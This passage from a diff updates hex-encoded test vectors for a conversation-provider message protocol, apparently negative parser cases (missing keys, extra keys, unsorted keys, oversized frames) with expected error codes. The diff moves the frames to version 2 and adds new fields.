56964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-selection-key-missing", "direction": "down", - "hex": "574d58310101000001000000210600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000005e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-selection-extra-key", "direction": "down", - "hex": "574d58310101000001000000430600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c226578747261223a317d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000800600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c226578747261223a317d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-unsorted-keys", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2266616d696c79223a2266616d696c792d616c706861222c226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d7d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2266616d696c79223a2266616d696c792d616c706861222c226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d7d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "malformed" }, { "name": "conversations-provider-over-4k", "direction": "down", - "hex": "574d58310101000001000000651b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b226361706162696c6974792d3030302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792